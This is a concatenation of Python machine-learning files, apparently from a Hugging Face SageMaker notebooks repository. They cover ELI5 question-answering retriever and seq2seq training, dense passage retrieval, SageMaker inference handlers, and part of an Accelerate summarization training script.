+            loss = model(q_ids, q_mask, a_ids, a_mask, checkpoint_batch_size=args.checkpoint_batch_size)
+            loss.backward()
+            optimizer.step()
+            scheduler.step()
+            model.zero_grad()
+            loc_loss += loss.item()
+            loc_steps += 1
+        if step % args.print_freq == 0:
+            print('{:2d} {:5d} of {:5d} \t L: {:.3f} \t -- {:.3f}'.format(e, step, len(dataset_list[0]) // args.batch_size, loc_loss / loc_steps, time() - st_time))
+            loc_loss = 0
+            loc_steps = 0
+
+def evaluate_qa_retriever(model, dataset, tokenizer, args):
+    model.eval()
+    eval_sampler = SequentialSampler(dataset)
+    model_collate_fn = functools.partial(make_qa_retriever_batch, tokenizer=tokenizer, max_len=args.max_length, device='cuda:0')
+    data_loader = DataLoader(dataset, batch_size=args.batch_size, sampler=eval_sampler, collate_fn=model_collate_fn)
+    epoch_iterator = tqdm(data_loader, desc='Iteration', disable=True)
+    tot_loss = 0.0
+    with torch.no_grad():
+        for (step, batch) in enumerate(epoch_iterator):
+            (q_ids, q_mask, a_ids, a_mask) = batch
+            loss = model(q_ids, q_mask, a_ids, a_mask)
+            tot_loss += loss.item()
+        return tot_loss / (step + 1)
+
+def train_qa_retriever(qar_model, qar_tokenizer, qar_train_dset, qar_valid_dset, qar_args):
+    qar_optimizer = AdamW(qar_model.parameters(), lr=qar_args.learning_rate, eps=1e-08)
+    qar_scheduler = get_linear_schedule_with_warmup(qar_optimizer, num_warmup_steps=100, num_training_steps=(qar_args.num_epochs + 1) * math.ceil(len(qar_train_dset) / qar_args.batch_size))
+    for e in range(qar_args.num_epochs):
+        train_qa_retriever_epoch(qar_model, qar_train_dset, qar_tokenizer, qar_optimizer, qar_scheduler, qar_args, e)
+        m_save_dict = {'model': qar_model.state_dict(), 'optimizer': qar_optimizer.state_dict(), 'scheduler': qar_scheduler.state_dict()}
+        print('Saving model {}'.format(qar_args.model_save_name))
+        torch.save(m_save_dict, '{}_{}.pth'.format(qar_args.model_save_name, e))
+        eval_loss = evaluate_qa_retriever(qar_model, qar_valid_dset, qar_tokenizer, qar_args)
+        print('Evaluation loss epoch {:4d}: {:.3f}'.format(e, eval_loss))
+
+class ELI5DatasetS2S(Dataset):
+
+    def __init__(self, examples_array, make_doc_fun=None, extra_answer_threshold=3, document_cache=None, training=True):
+        self.training = training
+        self.data = examples_array
+        self.make_doc_function = make_doc_fun
+        self.document_cache = {} if document_cache is None else document_cache
+        assert not (make_doc_fun is None and document_cache is None)
+        if self.training:
+            self.qa_id_list = [(i, j) for (i, qa) in enumerate(self.data) for (j, (a, sc)) in enumerate(zip(qa['answers']['text'], qa['answers']['score'])) if j == 0 or sc >= extra_answer_threshold]
+        else:
+            self.qa_id_list = [(i, 0) for i in range(self.data.num_rows)]
+
+    def __len__(self):
+        return len(self.qa_id_list)
+
+    def make_example(self, idx):
+        (i, j) = self.qa_id_list[idx]
+        example = self.data[i]
+        question = example['title'] + ' ' + example['selftext']
+        answer = example['answers']['text'][j]
+        q_id = example['q_id']
+        if self.make_doc_function is not None:
+            self.document_cache[q_id] = self.document_cache.get(q_id, self.make_doc_function(example['title']))
+        document = self.document_cache[q_id]
+        in_st = 'question: {} context: {}'.format(question.lower().replace(' --t--', '').strip(), document.lower().strip())
+        out_st = answer
+        return (in_st, out_st)
+
+    def __getitem__(self, idx):
+        return self.make_example(idx)
+
+def make_qa_s2s_model(model_name='facebook/bart-large', from_file=None, device='cuda:0'):
+    tokenizer = AutoTokenizer.from_pretrained(model_name)
+    model = AutoModelForSeq2SeqLM.from_pretrained(model_name).to(device)
+    if from_file is not None:
+        param_dict = torch.load(from_file)
+        model.load_state_dict(param_dict['model'])
+    return (tokenizer, model)
+
+def make_qa_s2s_batch(qa_list, tokenizer, max_len=64, max_a_len=360, device='cuda:0'):
+    q_ls = [q for (q, a) in qa_list]
+    a_ls = [a for (q, a) in qa_list]
+    q_toks = tokenizer.batch_encode_plus(q_ls, max_length=max_len, pad_to_max_length=True)
+    (q_ids, q_mask) = (torch.LongTensor(q_toks['input_ids']).to(device), torch.LongTensor(q_toks['attention_mask']).to(device))
+    a_toks = tokenizer.batch_encode_plus(a_ls, max_length=min(max_len, max_a_len), pad_to_max_length=True)
+    (a_ids, a_mask) = (torch.LongTensor(a_toks['input_ids']).to(device), torch.LongTensor(a_toks['attention_mask']).to(device))
+    lm_labels = a_ids[:, 1:].contiguous().clone()
+    lm_labels[a_mask[:, 1:].contiguous() == 0] = -100
+    model_inputs = {'input_ids': q_ids, 'attention_mask': q_mask, 'decoder_input_ids': a_ids[:, :-1].contiguous(), 'lm_labels': lm_labels}
+    return model_inputs
+
+def train_qa_s2s_epoch(model, dataset, tokenizer, optimizer, scheduler, args, e=0, curriculum=False):
+    model.train()
+    if curriculum:
+        train_sampler = SequentialSampler(dataset)
+    else:
+        train_sampler = RandomSampler(dataset)
+    model_collate_fn = functools.partial(make_qa_s2s_batch, tokenizer=tokenizer, max_len=args.max_length, device='cuda:0')
+    data_loader = DataLoader(dataset, batch_size=args.batch_size, sampler=train_sampler, collate_fn=model_collate_fn)
+    epoch_iterator = tqdm(data_loader, desc='Iteration', disable=True)
+    loc_steps = 0
+    loc_loss = 0.0
+    st_time = time()
+    for (step, batch_inputs) in enumerate(epoch_iterator):
+        pre_loss = model(**batch_inputs)[0]
+        loss = pre_loss.sum() / pre_loss.shape[0]
+        loss.backward()
+        if step % args.backward_freq == 0:
+            optimizer.step()
+            scheduler.step()
+            model.zero_grad()
+        loc_loss += loss.item()
+        loc_steps += 1
+        if step % args.print_freq == 0 or step == 1:
+            print('{:2d} {:5d} of {:5d} \t L: {:.3f} \t -- {:.3f}'.format(e, step, len(dataset) // args.batch_size, loc_loss / loc_steps, time() - st_time))
+            loc_loss = 0
+            loc_steps = 0
+
+def eval_qa_s2s_epoch(model, dataset, tokenizer, args):
+    model.eval()
+    train_sampler = SequentialSampler(dataset)
+    model_collate_fn = functools.partial(make_qa_s2s_batch, tokenizer=tokenizer, max_len=args.max_length, device='cuda:0')
+    data_loader = DataLoader(dataset, batch_size=args.batch_size, sampler=train_sampler, collate_fn=model_collate_fn)
+    epoch_iterator = tqdm(data_loader, desc='Iteration', disable=True)
+    loc_steps = 0
+    loc_loss = 0.0
+    st_time = time()
+    with torch.no_grad():
+        for (step, batch_inputs) in enumerate(epoch_iterator):
+            pre_loss = model(**batch_inputs)[0]
+            loss = pre_loss.sum() / pre_loss.shape[0]
+            loc_loss += loss.item()
+            loc_steps += 1
+            if step % args.print_freq == 0:
+                print('{:5d} of {:5d} \t L: {:.3f} \t -- {:.3f}'.format(step, len(dataset) // args.batch_size, loc_loss / loc_steps, time() - st_time))
+    print('Total \t L: {:.3f} \t -- {:.3f}'.format(loc_loss / loc_steps, time() - st_time))
+
+def train_qa_s2s(qa_s2s_model, qa_s2s_tokenizer, s2s_train_dset, s2s_valid_dset, s2s_args):
+    s2s_optimizer = AdamW(qa_s2s_model.parameters(), lr=s2s_args.learning_rate, eps=1e-08)
+    s2s_scheduler = get_linear_schedule_with_warmup(s2s_optimizer, num_warmup_steps=400, num_training_steps=(s2s_args.num_epochs + 1) * math.ceil(len(s2s_train_dset) / s2s_args.batch_size))
+    for e in range(s2s_args.num_epochs):
+        train_qa_s2s_epoch(qa_s2s_model, s2s_train_dset, qa_s2s_tokenizer, s2s_optimizer, s2s_scheduler, s2s_args, e, curriculum=e == 0)
+        m_save_dict = {'model': qa_s2s_model.state_dict(), 'optimizer': s2s_optimizer.state_dict(), 'scheduler': s2s_scheduler.state_dict()}
+        print('Saving model {}'.format(s2s_args.model_save_name))
+        eval_qa_s2s_epoch(qa_s2s_model, s2s_valid_dset, qa_s2s_tokenizer, s2s_args)
+        torch.save(m_save_dict, '{}_{}.pth'.format(s2s_args.model_save_name, e))
+
+def qa_s2s_generate(question_doc, qa_s2s_model, qa_s2s_tokenizer, num_answers=1, num_beams=None, min_len=64, max_len=256, do_sample=False, temp=1.0, top_p=None, top_k=None, max_input_length=512, device='cuda:0'):
+    model_inputs = make_qa_s2s_batch([(question_doc, 'A')], qa_s2s_tokenizer, max_input_length, device=device)
+    n_beams = num_answers if num_beams is None else max(num_beams, num_answers)
+    generated_ids = qa_s2s_model.generate(input_ids=model_inputs['input_ids'], attention_mask=model_inputs['attention_mask'], min_length=min_len, max_length=max_len, do_sample=do_sample, early_stopping=True, num_beams=1 if do_sample else n_beams, temperature=temp, top_k=top_k, top_p=top_p, eos_token_id=qa_s2s_tokenizer.eos_token_id, no_repeat_ngram_size=3, num_return_sequences=num_answers, decoder_start_token_id=qa_s2s_tokenizer.bos_token_id)
+    return [qa_s2s_tokenizer.decode(ans_ids, skip_special_tokens=True).strip() for ans_ids in generated_ids]
+
+def embed_passages_for_retrieval(passages, tokenizer, qa_embedder, max_length=128, device='cuda:0'):
+    a_toks = tokenizer.batch_encode_plus(passages, max_length=max_length, pad_to_max_length=True)
+    (a_ids, a_mask) = (torch.LongTensor(a_toks['input_ids']).to(device), torch.LongTensor(a_toks['attention_mask']).to(device))
+    with torch.no_grad():
+        a_reps = qa_embedder.embed_answers(a_ids, a_mask).cpu().type(torch.float)
+    return a_reps.numpy()
+
+def embed_questions_for_retrieval(q_ls, tokenizer, qa_embedder, device='cuda:0'):
+    q_toks = tokenizer.batch_encode_plus(q_ls, max_length=128, pad_to_max_length=True)
+    (q_ids, q_mask) = (torch.LongTensor(q_toks['input_ids']).to(device), torch.LongTensor(q_toks['attention_mask']).to(device))
+    with torch.no_grad():
+        q_reps = qa_embedder.embed_questions(q_ids, q_mask).cpu().type(torch.float)
+    return q_reps.numpy()
+
+def make_qa_dense_index(qa_embedder, tokenizer, passages_dset, batch_size=512, max_length=128, index_name='kilt_passages_reps.dat', dtype='float32', device='cuda:0'):
+    st_time = time()
+    fp = np.memmap(index_name, dtype=dtype, mode='w+', shape=(passages_dset.num_rows, 128))
+    n_batches = math.ceil(passages_dset.num_rows / batch_size)
+    for i in range(n_batches):
+        passages = [p for p in passages_dset[i * batch_size:(i + 1) * batch_size]['passage_text']]
+        reps = embed_passages_for_retrieval(passages, tokenizer, qa_embedder, max_length, device)
+        fp[i * batch_size:(i + 1) * batch_size] = reps
+        if i % 50 == 0:
+            print(i, time() - st_time)
+
+def evaluate_retriever(qa_list, retriever_func, scoring_func, n_ret=10, verbose=False):
+    total_retriever_time = 0.0
+    total_retriever_score = 0.0
+    st_time = time()
+    for (i, (question, answer)) in enumerate(qa_list):
+        r_time = time()
+        retrieved_passages = retriever_func(question, n_ret)
+        total_retriever_time += time() - r_time
+        total_retriever_score += scoring_func(retrieved_passages, answer)
+        if verbose and ((i + 1) % 500 == 0 or i <= 1):
+            print('{:03d}: S-{:.4f} T-{:.4f} | {:.2f}'.format(i + 1, total_retriever_score / (i + 1), total_retriever_time / (i + 1), time() - st_time))
+    return {'idf_recall': total_retriever_score / (i + 1), 'retrieval_time': total_retriever_time / (i + 1)}
+
+def query_qa_dense_index(question, qa_embedder, tokenizer, wiki_passages, wiki_index, n_results=10, min_length=20, device='cuda:0'):
+    q_rep = embed_questions_for_retrieval([question], tokenizer, qa_embedder, device=device)
+    (D, I) = wiki_index.search(q_rep, 2 * n_results)
+    res_passages = [wiki_passages[int(i)] for i in I[0]]
+    support_doc = '<P> ' + ' <P> '.join([p['passage_text'] for p in res_passages])
+    res_list = [dict([(k, p[k]) for k in wiki_passages.column_names]) for p in res_passages]
+    res_list = [res for res in res_list if len(res['passage_text'].split()) > min_length][:n_results]
+    for (r, sc) in zip(res_list, D[0]):
+        r['score'] = float(sc)
+    return (support_doc, res_list)
+
+def batch_query_qa_dense_index(questions, qa_embedder, tokenizer, wiki_passages, wiki_index, n_results=10):
+    q_rep = embed_questions_for_retrieval(questions, tokenizer, qa_embedder)
+    (D, I) = wiki_index.search(q_rep, n_results)
+    res_passages_lst = [[wiki_passages[int(i)] for i in i_lst] for i_lst in I]
+    support_doc_lst = ['<P> ' + ' <P> '.join([p['passage_text'] for p in res_passages]) for res_passages in res_passages_lst]
+    all_res_lists = []
+    for (res_passages, dl) in zip(res_passages_lst, D):
+        res_list = [dict([(k, p[k]) for k in wiki_passages.column_names]) for p in res_passages]
+        for (r, sc) in zip(res_list, dl):
+            r['score'] = float(sc)
+        all_res_lists += [res_list[:]]
+    return (support_doc_lst, all_res_lists)
+
+def query_qa_dense_index_nn(passage, qa_embedder, tokenizer, wiki_passages, wiki_index, n_results=10, min_length=20):
+    a_rep = embed_passages_for_retrieval([passage], tokenizer, qa_embedder)
+    (D, I) = wiki_index.search(a_rep, 2 * n_results)
+    res_passages = [wiki_passages[int(i)] for i in I[0]]
+    support_doc = '<P> ' + ' <P> '.join([p['passage_text'] for p in res_passages])
+    res_list = [dict([(k, p[k]) for k in wiki_passages.column_names]) for p in res_passages]
+    res_list = [res for res in res_list if len(res['passage_text'].split()) > min_length][:n_results]
+    for (r, sc, i) in zip(res_list, D[0], I[0]):
+        r['passage_id'] = int(i)
+        r['score'] = float(sc)
+    return (support_doc, res_list)
+
+def batch_query_qa_dense_index_nn(passages, qa_embedder, tokenizer, wiki_passages, wiki_index, n_results=10):
+    a_reps = embed_passages_for_retrieval(passages, tokenizer, qa_embedder)
+    (D, I) = wiki_index.search(a_reps, n_results)
+    res_passages_lst = [[wiki_passages[int(i)] for i in i_lst] for i_lst in I]
+    support_doc_lst = ['<P> ' + ' <P> '.join([p['passage_text'] for p in res_passages]) for res_passages in res_passages_lst]
+    all_res_lists = []
+    for (res_passages, dl, il) in zip(res_passages_lst, D, I):
+        res_list = [dict([(k, p[k]) for k in wiki_passages.column_names]) for p in res_passages]
+        for (r, sc, i) in zip(res_list, dl, il):
+            r['passage_id'] = int(i)
+            r['score'] = float(sc)
+        all_res_lists += [res_list[:]]
+    return (support_doc_lst, all_res_lists)
+
+# File: notebooks-main/sagemaker/17_custom_inference_script/code/inference.py
+from transformers import AutoTokenizer, AutoModel
+import torch
+import torch.nn.functional as F
+
+def mean_pooling(model_output, attention_mask):
+    token_embeddings = model_output[0]
+    input_mask_expanded = attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float()
+    return torch.sum(token_embeddings * input_mask_expanded, 1) / torch.clamp(input_mask_expanded.sum(1), min=1e-09)
+
+def model_fn(model_dir):
+    tokenizer = AutoTokenizer.from_pretrained(model_dir)
+    model = AutoModel.from_pretrained(model_dir)
+    return (model, tokenizer)
+
+def predict_fn(data, model_and_tokenizer):
+    (model, tokenizer) = model_and_tokenizer
+    sentences = data.pop('inputs', data)
+    encoded_input = tokenizer(sentences, padding=True, truncation=True, return_tensors='pt')
+    with torch.no_grad():
+        model_output = model(**encoded_input)
+    sentence_embeddings = mean_pooling(model_output, encoded_input['attention_mask'])
+    sentence_embeddings = F.normalize(sentence_embeddings, p=2, dim=1)
+    return {'vectors': sentence_embeddings}
+
+# File: notebooks-main/sagemaker/18_inferentia_inference/code/inference.py
+import os
+from transformers import AutoConfig, AutoTokenizer
+import torch
+import torch.neuron
+os.environ['NEURON_RT_NUM_CORES'] = '1'
+AWS_NEURON_TRACED_WEIGHTS_NAME = 'neuron_model.pt'
+
+def model_fn(model_dir):
+    tokenizer = AutoTokenizer.from_pretrained(model_dir)
+    model = torch.jit.load(os.path.join(model_dir, AWS_NEURON_TRACED_WEIGHTS_NAME))
+    model_config = AutoConfig.from_pretrained(model_dir)
+    return (model, tokenizer, model_config)
+
+def predict_fn(data, model_tokenizer_model_config):
+    (model, tokenizer, model_config) = model_tokenizer_model_config
+    inputs = data.pop('inputs', data)
+    embeddings = tokenizer(inputs, return_tensors='pt', max_length=model_config.traced_sequence_length, padding='max_length', truncation=True)
+    neuron_inputs = tuple(embeddings.values())
+    with torch.no_grad():
+        predictions = model(*neuron_inputs)[0]
+        scores = torch.nn.Softmax(dim=1)(predictions)
+    return [{'label': model_config.id2label[item.argmax().item()], 'score': item.max().item()} for item in scores]
+
+# File: notebooks-main/sagemaker/22_accelerate_sagemaker_examples/src/seq2seq/run_seq2seq_no_trainer.py
+""""""
+import argparse
+import json
+import logging
+import math
+import os
+import random
+from pathlib import Path
+from time import time
+import datasets
+import nltk
+import numpy as np
+import torch
+from datasets import load_dataset, load_metric
+from torch.utils.data import DataLoader
+from tqdm.auto import tqdm
+import transformers
+from accelerate import Accelerator
+from accelerate.logging import get_logger
+from accelerate.utils import DummyOptim, DummyScheduler, set_seed
+from filelock import FileLock
+from huggingface_hub import Repository
+from transformers import CONFIG_MAPPING, MODEL_MAPPING, AutoConfig, AutoModelForSeq2SeqLM, AutoTokenizer, DataCollatorForSeq2Seq, SchedulerType, get_scheduler
+from transformers.utils import get_full_repo_name, is_offline_mode
+from transformers.utils.versions import require_version
+logger = get_logger(__name__)
+require_version('datasets>=1.8.0', 'To fix: pip install -r examples/pytorch/summarization/requirements.txt')
+MODEL_CONFIG_CLASSES = list(MODEL_MAPPING.keys())
+MODEL_TYPES = tuple((conf.model_type for conf in MODEL_CONFIG_CLASSES))
+try:
+    nltk.data.find('tokenizers/punkt')
+except (LookupError, OSError):
+    if is_offline_mode():
+        raise LookupError('Offline mode: run this script without TRANSFORMERS_OFFLINE first to download nltk data files')
+    with FileLock('.lock') as lock:
+        nltk.download('punkt', quiet=True)
+
+def parse_args():
+    parser = argparse.ArgumentParser(description='Finetune a transformers model on a summarization task')
+    parser.add_argument('--dataset_name', type=str, default=None, help='The name of the dataset to use (via the datasets library).')
+    parser.add_argument('--dataset_config_name', type=str, default=None, help='The configuration name of the dataset to use (via the datasets library).')
+    parser.add_argument('--train_file', type=str, default=None, help='A csv or a json file containing the training data.')
+    parser.add_argument('--validation_file', type=str, default=None, help='A csv or a json file containing the validation data.')
+    parser.add_argument('--ignore_pad_token_for_loss', type=bool, default=True, help='Whether to ignore the tokens corresponding to padded labels in the loss computation or not.')
+    parser.add_argument('--max_source_length', type=int, default=1024, help='The maximum total input sequence length after tokenization.Sequences longer than this will be truncated, sequences shorter will be padded.')
+    parser.add_argument('--source_prefix', type=str, default=None, help='A prefix to add before every source text (useful for T5 models).')
+    parser.add_argument('--preprocessing_num_workers', type=int, default=None, help='The number of processes to use for the preprocessing.')
+    parser.add_argument('--overwrite_cache', type=bool, default=None, help='Overwrite the cached training and evaluation sets')
+    parser.add_argument('--max_target_length', type=int, default=128, help='The maximum total sequence length for target text after tokenization. Sequences longer than this will be truncated, sequences shorter will be padded.during ``evaluate`` and ``predict``.')
+    parser.add_argument('--val_max_target_length', type=int, default=None, help='The maximum total sequence length for validation target text after tokenization.Sequences longer than this will be truncated, sequences shorter will be padded. Will default to `max_target_length`.This argument is also used to override the ``max_length`` param of ``model.generate``, which is used during ``evaluate`` and ``predict``.')
+    parser.add_argument('--val_min_target_length', type=int, default=10, help='The minimum total sequence length for validation target text after tokenization.Sequences longer than this will be truncated, sequences shorter will be padded. Will default to `max_target_length`.This argument is also used to override the ``max_length`` param of ``model.generate``, which is used during ``evaluate`` and ``predict``.')
+    parser.add_argument('--n_train', type=int, default=2000, help='Number of training examples to use. If None, all training examples will be used.')
+    parser.add_argument('--n_val', type=int, default=500, help='Number of validation examples to use. If None, all validation examples will be used.')
+    parser.add_argument('--n_val_batch_generations', type=int, default=5, help='Number of validation examples to use. If None, all validation examples will be used.')
+    parser.add_argument('--max_length', type=int, default=128, help='The maximum total input sequence length after tokenization. Sequences longer than this will be truncated, sequences shorter will be padded if `--pad_to_max_lengh` is passed.')
+    parser.add_argument('--num_beams', type=int, default=None, help='Number of beams to use for evaluation. This argument will be passed to ``model.generate``, which is used during ``evaluate`` and ``predict``.')
+    parser.add_argument('--pad_to_max_length', type=bool, default=False, help='If passed, pad all samples to `max_length`. Otherwise, dynamic padding is used.')
+    parser.add_argument('--model_name_or_path', type=str, help='Path to pretrained model or model identifier from huggingface.co/models.', required=False)
+    parser.add_argument('--config_name', type=str, default=None, help='Pretrained config name or path if not the same as model_name')
+    parser.add_argument('--tokenizer_name', type=str, default=None, help='Pretrained tokenizer name or path if not the same as model_name')
+    parser.add_argument('--text_column', type=str, default=None, help='The name of the column in the datasets containing the full texts (for summarization).')
+    parser.add_argument('--summary_column', type=str, default=None, help='The name of the column in the datasets containing the summaries (for summarization).')
+    parser.add_argument('--use_slow_tokenizer', type=bool, default=False, help='If passed, will use a slow tokenizer (not backed by the 🤗 Tokenizers library).')
+    parser.add_argument('--per_device_train_batch_size', type=int, default=8, help='Batch size (per device) for the training dataloader.')
+    parser.add_argument('--per_device_eval_batch_size', type=int, default=8, help='Batch size (per device) for the evaluation dataloader.')
+    parser.add_argument('--learning_rate', type=float, default=5e-05, help='Initial learning rate (after the potential warmup period) to use.')
+    parser.add_argument('--weight_decay', type=float, default=0.0, help='Weight decay to use.')
+    parser.add_argument('--num_train_epochs', type=int, default=3, help='Total number of training epochs to perform.')
+    parser.add_argument('--max_train_steps', type=int, default=None, help='Total number of training steps to perform. If provided, overrides num_train_epochs.')
+    parser.add_argument('--gradient_accumulation_steps', type=int, default=1, help='Number of updates steps to accumulate before performing a backward/update pass.')
+    parser.add_argument('--lr_scheduler_type', type=SchedulerType, default='linear', help='The scheduler type to use.', choices=['linear', 'cosine', 'cosine_with_restarts', 'polynomial', 'constant', 'constant_with_warmup'])
+    parser.add_argument('--num_warmup_steps', type=int, default=0, help='Number of steps for the warmup in the lr scheduler.')
+    parser.add_argument('--output_dir', type=str, default=None, help='Where to store the final model.')
+    parser.add_argument('--seed', type=int, default=None, help='A seed for reproducible training.')
+    parser.add_argument('--model_type', type=str, default=None, help='Model type to use if training from scratch.', choices=MODEL_TYPES)
+    parser.add_argument('--push_to_hub', type=bool, default=False, help='Whether or not to push the model to the Hub.')
+    parser.add_argument('--hub_model_id', type=str, help='The name of the repository to keep in sync with the local `output_dir`.')
+    parser.add_argument('--hub_token', type=str, help='The token to use to push to the Model Hub.')
+    parser.add_argument('--checkpointing_steps', type=str, default=None, help="Whether the various states should be saved at the end of every n steps, or 'epoch' for each epoch.")
+    parser.add_argument('--resume_from_checkpoint', type=str, default=None, help='If the training should continue from a checkpoint folder.')
+    parser.add_argument('--load_best_model', type=bool, default=False, help='Whether to load the best model at the end of training')
+    parser.add_argument('--logging_steps', type=int, default=None, help='log every n steps')
+    parser.add_argument('--with_tracking', type=bool, default=False, help='Whether to enable experiment trackers for logging.')
+    parser.add_argument('--report_to', type=str, default='all', help='The integration to report the results and logs to. Supported platforms are `"tensorboard"`, `"wandb"` and `"comet_ml"`. Use `"all"` (default) to report to all integrations.Only applicable when `--with_tracking` is passed.')
+    parser.add_argument('--report_name', type=str, default='chatbot_no_trainer', help='The name of the experiment tracking folder. Only applicable when `--with_tracking` is passed.')
+    args = parser.parse_args()
+    if args.dataset_name is None and args.train_file is None and (args.validation_file is None):
+        raise ValueError('Need either a dataset name or a training/validation file.')
+    else:
+        if args.train_file is not None:
+            extension = args.train_file.split('.')[-1]
+            assert extension in ['csv', 'json'], '`train_file` should be a csv or a json file.'
+        if args.validation_file is not None:
+            extension = args.validation_file.split('.')[-1]
+            assert extension in ['csv', 'json'], '`validation_file` should be a csv or a json file.'
+    if args.push_to_hub:
+        assert args.output_dir is not None, 'Need an `output_dir` to create a repo when `--push_to_hub` is passed.'
+    return args
+
+def checkpoint_model(checkpoint_folder, ckpt_id, model, epoch, last_global_step, **kwargs):
+    checkpoint_state_dict = {'epoch': epoch, 'last_global_step': last_global_step}
+    checkpoint_state_dict.update(kwargs)
+    success = model.save_checkpoint(checkpoint_folder, ckpt_id, checkpoint_state_dict)
+    status_msg = f'checkpointing: checkpoint_folder={checkpoint_folder}, ckpt_id={ckpt_id}'
+    if success:
+        logging.info(f'Success {status_msg}')
+    else:
+        logging.warning(f'Failure {status_msg}')
+    return
+
+def evaluate(args, model, metric, tokenizer, eval_dataloader, accelerator, max_length):
+    accelerator.print('starting evaluation')
+    count_printed = 0
+
+    def postprocess_text(preds, labels):
+        preds = [pred.strip() for pred in preds]
+        labels = [[label.strip()] for label in labels]
+        return (preds, labels)
+    model.eval()
+    if args.val_max_target_length is None:
+        args.val_max_target_length = args.max_target_length
+    gen_kwargs = {'max_length': args.val_max_target_length if args is not None else max_length, 'num_beams': args.num_beams, 'min_length': args.val_min_target_length, 'length_penalty': False, 'no_repeat_ngram_size': 3, 'encoder_no_repeat_ngram_size': 3, 'repetition_penalty': 1.2}
+    samples_seen = 0
+    for (step, batch) in enumerate(eval_dataloader):
+        with torch.no_grad():
+            generated_tokens = accelerator.unwrap_model(model).generate(batch['input_ids'], attention_mask=batch['attention_mask'], **gen_kwargs)
+            generated_tokens = accelerator.pad_across_processes(generated_tokens, dim=1, pad_index=tokenizer.pad_token_id)
+            labels = batch['labels']
+            if not args.pad_to_max_length:
+                labels = accelerator.pad_across_processes(batch['labels'], dim=1, pad_index=tokenizer.pad_token_id)
+            (generated_tokens, labels) = accelerator.gather((generated_tokens, labels))
+            generated_tokens = generated_tokens.cpu().numpy()
+            labels = labels.cpu().numpy()
+            if args.ignore_pad_token_for_loss:
+                labels = np.where(labels != -100, labels, tokenizer.pad_token_id)
+            decoded_preds = tokenizer.batch_decode(generated_tokens, skip_special_tokens=True)
+            decoded_labels = tokenizer.batch_decode(labels, skip_special_tokens=True)
+            if count_printed < args.n_val_batch_generations:
+                logger.info('printing few sample generations and corresponding labels from eval set')
+                logger.info('prompt | generated | label')
+                decoded_prompts = tokenizer.batch_decode(batch['input_ids'], skip_special_tokens=False)
+                for (prompt, generated_response, response) in zip(decoded_prompts, decoded_preds, decoded_labels):
+                    cleaned_prompt = prompt.replace('<pad>', '').strip()
+                    logger.info(f'{cleaned_prompt} | {generated_response} | {response}')
+                count_printed += 1
+            (decoded_preds, decoded_labels) = postprocess_text(decoded_preds, decoded_labels)
+            if accelerator.num_processes > 1:
+                if step == len(eval_dataloader) - 1:
+                    decoded_preds = decoded_preds[:len(eval_dataloader.dataset) - samples_seen]
+                    decoded_labels = decoded_labels[:len(eval_dataloader.dataset) - samples_seen]
+                else:
+                    samples_seen += len(decoded_labels)
+            metric.add_batch(predictions=decoded_preds, references=decoded_labels)
+    result = metric.compute()
+    logger.info({'bleu': result['score']})
+    accelerator.print('evaluation completed')
+    return result['score']
+
+def load_training_checkpoint(model, load_dir, tag=None, **kwargs):
+    (_, checkpoint_state_dict) = model.load_checkpoint(load_dir, tag=tag, **kwargs)
+    epoch = checkpoint_state_dict['epoch']
+    last_global_step = checkpoint_state_dict['last_global_step']
+    del checkpoint_state_dict
+    return (epoch, last_global_step)
+
+def main():
+    args = parse_args()
+    accelerator = Accelerator(log_with=args.report_to, logging_dir=args.output_dir) if args.with_tracking else Accelerator()
+    if args.source_prefix is None and args.model_name_or_path in ['t5-small', 't5-base', 't5-large', 't5-3b', 't5-11b']:
+        logger.warning("You're running a t5 model but didn't provide a source prefix, which is the expected, e.g. with `--source_prefix 'summarize: ' `")
+    logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s', datefmt='%m/%d/%Y %H:%M:%S', level=logging.INFO)
+    logger.info(accelerator.state, main_process_only=False)
+    if accelerator.is_local_main_process:
+        datasets.utils.logging.set_verbosity_warning()
+        transformers.utils.logging.set_verbosity_info()
+    else:
+        datasets.utils.logging.set_verbosity_error()
+        transformers.utils.logging.set_verbosity_error()
+    if args.seed is not None:
+        set_seed(args.seed)
+    if accelerator.is_main_process:
+        if args.push_to_hub:
+            if args.hub_model_id is None:
+                repo_name = get_full_repo_name(Path(args.output_dir).name, token=args.hub_token)
+            else:
+                repo_name = args.hub_model_id
+            repo = Repository(args.output_dir, clone_from=repo_name)
+            with open(os.path.join(args.output_dir, '.gitignore'), 'w+') as gitignore:
+                if 'step_*' not in gitignore:
+                    gitignore.write('step_*\n')
+                if 'epoch_*' not in gitignore:
+                    gitignore.write('epoch_*\n')
+        elif args.output_dir is not None:
+            os.makedirs(args.output_dir, exist_ok=True)
+    accelerator.wait_for_everyone()
+    if args.dataset_name is not None:
+        raw_datasets = load_dataset(args.dataset_name, args.dataset_config_name)
+        if args.n_train > 0:
+            raw_datasets['train'] = datasets.Dataset.from_dict(raw_datasets['train'][:args.n_train])
+        if args.n_val > 0:
+            raw_datasets['validation'] = datasets.Dataset.from_dict(raw_datasets['validation'][:args.n_val])
+    else:
+        data_files = {}
+        if args.train_file is not None:
+            data_files['train'] = args.train_file
+        if args.validation_file is not None:
+            data_files['validation'] = args.validation_file
+        extension = args.train_file.split('.')[-1]
+        raw_datasets = load_dataset(extension, data_files=data_files)
+    if args.config_name:
+        config = AutoConfig.from_pretrained(args.config_name)
+    elif args.model_name_or_path:
+        config = AutoConfig.from_pretrained(args.model_name_or_path)
+    else:
+        config = CONFIG_MAPPING[args.model_type]()
+        logger.warning('You are instantiating a new config instance from scratch.')
+    if args.tokenizer_name:
+        tokenizer = AutoTokenizer.from_pretrained(args.tokenizer_name, use_fast=not args.use_slow_tokenizer)
+    elif args.model_name_or_path:
+        tokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path, use_fast=not args.use_slow_tokenizer)
+    else:
+        raise ValueError('You are instantiating a new tokenizer from scratch. This is not supported by this script.You can do it from another script, save it, and load it from here, using --tokenizer_name.')
+    if args.model_name_or_path:
+        model = AutoModelForSeq2SeqLM.from_pretrained(args.model_name_or_path, from_tf=bool('.ckpt' in args.model_name_or_path), config=config)
+    else:
+        logger.info('Training new model from scratch')
+        model = AutoModelForSeq2SeqLM.from_config(config)
+    model.resize_token_embeddings(len(tokenizer))
+    if model.config.decoder_start_token_id is None:
+        raise ValueError('Make sure that `config.decoder_start_token_id` is correctly defined')
+    prefix = args.source_prefix if args.source_prefix is not None else ''
+    column_names = raw_datasets['train'].column_names
+    dataset_columns = column_names
+    if args.text_column is None:
+        text_column = dataset_columns[0] if dataset_columns is not None else column_names[0]
+    else:
+        text_column = args.text_column
